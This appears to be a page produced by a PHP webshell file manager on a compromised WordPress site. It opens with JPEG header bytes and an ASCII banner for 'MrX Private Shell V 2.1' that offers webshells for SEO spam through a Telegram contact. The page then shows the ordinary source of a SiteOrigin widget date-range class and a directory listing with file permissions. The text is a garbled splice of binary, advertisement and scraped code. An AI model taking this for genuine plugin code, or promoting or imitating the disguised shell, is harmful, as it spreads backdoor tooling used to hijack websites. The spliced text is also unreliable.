����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Class SiteOrigin_Widget_Field_Date_Range
*/
class SiteOrigin_Widget_Field_Date_Range extends SiteOrigin_Widget_Field_Base {
/**
* Either 'relative' or 'specific'. Whether to allow relative or specific date selection.
*
* @access protected
* @var array
*/
protected $date_type;
protected function render_field( $value, $instance ) {
if ( $this->date_type == 'specific' ) {
$this->render_specific_date_selector();
} else {
$this->render_relative_date_selector( $value );
}
?><input type="hidden"
class="siteorigin-widget-input"
value="<?php echo esc_attr( $value ) ?>"
name="<?php echo esc_attr( $this->element_name ) ?>" /><?php
}
private function render_specific_date_selector() {
?><div class="sowb-specific-date-after"><span><?php
_ex( 'From', 'From this date', 'so-widgets-bundle' );
?></span><input type="text" class="datepicker after-picker"/></div><?php
?><div class="sowb-specific-date-before"><span><?php
_e( 'to', 'so-widgets-bundle' );
?></span><input type="text" class="datepicker before-picker"/></div><?php
}
private function render_relative_date_selector( $value ) {
if ( ! empty( $value ) ) {
$value = json_decode(
$value,
true
);
}
$from = ! empty( $value['from'] ) ? $value['from'] : array();
$this->render_relative_date_selector_part( 'from', __( 'From', 'so-widgets-bundle' ), $from );
$to = ! empty( $value['to'] ) ? $value['to'] : array();
$this->render_relative_date_selector_part( 'to', __( 'to', 'so-widgets-bundle' ), $to );
}
private function render_relative_date_selector_part( $name, $label, $value ) {
$units = $this->get_units();
$val = ! empty( $value['value'] ) ? $value['value'] : 0;
$unit = ! empty( $value['unit'] ) ? $value['unit'] : 'days';
?><div class="sowb-relative-date" data-name="<?php echo esc_attr( $name ) ?>"><span><?php
echo esc_html( $label );
?></span><input type="number" min="0" step="1" class="sowb-relative-date-value" value="<?php echo esc_attr( $val ) ?>"/>
<select class="sowb-relative-date-unit">
<?php foreach( $units as $value => $label) : ?>
<option value="<?php echo esc_attr( $value ) ?>" <?php selected( $value, $unit ) ?>><?php echo $label ?></option>
<?php endforeach; ?>
</select><span><?php _e( 'ago', 'so-widgets-bundle' ); ?></span></div><?php
}
private function get_units() {
return array(
'days' => __( 'days', 'so-widgets-bundle' ),
'weeks' => __( 'weeks', 'so-widgets-bundle' ),
'months' => __( 'months', 'so-widgets-bundle' ),
'years' => __( 'years', 'so-widgets-bundle' ),
);
}
public function enqueue_scripts() {
wp_enqueue_style(
'so-date-range-field',
plugin_dir_url(__FILE__) . 'css/date-range-field.css',
array( 'sowb-pikaday' ),
SOW_BUNDLE_VERSION
);
wp_enqueue_script(
'so-date-range-field',
plugin_dir_url(__FILE__) . 'js/date-range-field' . SOW_BUNDLE_JS_SUFFIX . '.js',
array( 'jquery', 'sowb-pikaday' ),
SOW_BUNDLE_VERSION
);
}
protected function sanitize_field_input( $value, $instance ) {
if ( $this->date_type == 'specific' ) {
if ( ! empty( $value ) ) {
$value = json_decode(
$value,
true
);
if ( ! empty( $value['after'] ) ) {
$value_after = new DateTime( $value['after'] );
$value['after'] = $value_after->format( 'Y-m-d' );
}
if ( ! empty( $value['before'] ) ) {
$value_before = new DateTime( $value['before'] );
$value['before'] = $value_before->format( 'Y-m-d' );
}
} else {
$value = array( 'after' => '', 'before' => '' );
}
} else if ( $this->date_type == 'relative' ) {
if ( ! empty( $value ) ) {
$value = json_decode(
$value,
true
);
$unit_keys = array_keys( $this->get_units() );
foreach( array( 'from', 'to' ) as $key ) {
if ( empty( $value[$key] ) ) {
$value[$key] = array();
}
$item = $value[$key];
$val = empty( $item['value'] ) ? 0 : (int) $item['value'];
$unit = ( ! empty( $item['unit'] ) && in_array( $item['unit'], $unit_keys ) ) ? $item['unit'] : $unit_keys[0];
$value[$key] = array( 'value' => $val, 'unit' => $unit );
}
} else {
$value = array( 'from' => array(), 'to' => array() );
}
}
return json_encode( $value );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| css | Folder | 0755 |
|
|
| js | Folder | 0755 |
|
|
| autocomplete.class.php | File | 1.79 KB | 0644 |
|
| base.class.php | File | 14.5 KB | 0644 |
|
| builder.class.php | File | 2.37 KB | 0644 |
|
| checkbox.class.php | File | 860 B | 0644 |
|
| checkboxes.class.php | File | 1.36 KB | 0644 |
|
| code.class.php | File | 1.38 KB | 0644 |
|
| color.class.php | File | 1.74 KB | 0644 |
|
| container-base.class.php | File | 3.53 KB | 0644 |
|
| date-range.class.php | File | 4.21 KB | 0644 |
|
| error.class.php | File | 538 B | 0644 |
|
| factory.class.php | File | 2.13 KB | 0644 |
|
| font.class.php | File | 1.67 KB | 0644 |
|
| html.class.php | File | 524 B | 0644 |
|
| icon.class.php | File | 6.97 KB | 0644 |
|
| image-radio.class.php | File | 2 KB | 0644 |
|
| image-size.class.php | File | 3.36 KB | 0644 |
|
| link.class.php | File | 1.9 KB | 0644 |
|
| measurement.class.php | File | 4.09 KB | 0644 |
|
| media.class.php | File | 7.81 KB | 0644 |
|
| multi-measurement.class.php | File | 3.83 KB | 0644 |
|
| multiple-media.class.php | File | 5.6 KB | 0644 |
|
| number.class.php | File | 1.44 KB | 0644 |
|
| order.class.php | File | 1.79 KB | 0644 |
|
| posts.class.php | File | 7.45 KB | 0644 |
|
| presets.class.php | File | 2.02 KB | 0644 |
|
| radio.class.php | File | 1.09 KB | 0644 |
|
| repeater.class.php | File | 5 KB | 0644 |
|
| section.class.php | File | 883 B | 0644 |
|
| select.class.php | File | 2.26 KB | 0644 |
|
| siteorigin-widget-field-class-loader.class.php | File | 3.2 KB | 0644 |
|
| slider.class.php | File | 1.33 KB | 0644 |
|
| text-input-base.class.php | File | 2.44 KB | 0644 |
|
| text.class.php | File | 331 B | 0644 |
|
| textarea.class.php | File | 843 B | 0644 |
|
| tinymce.class.php | File | 18.04 KB | 0644 |
|
| widget.class.php | File | 2.1 KB | 0644 |
|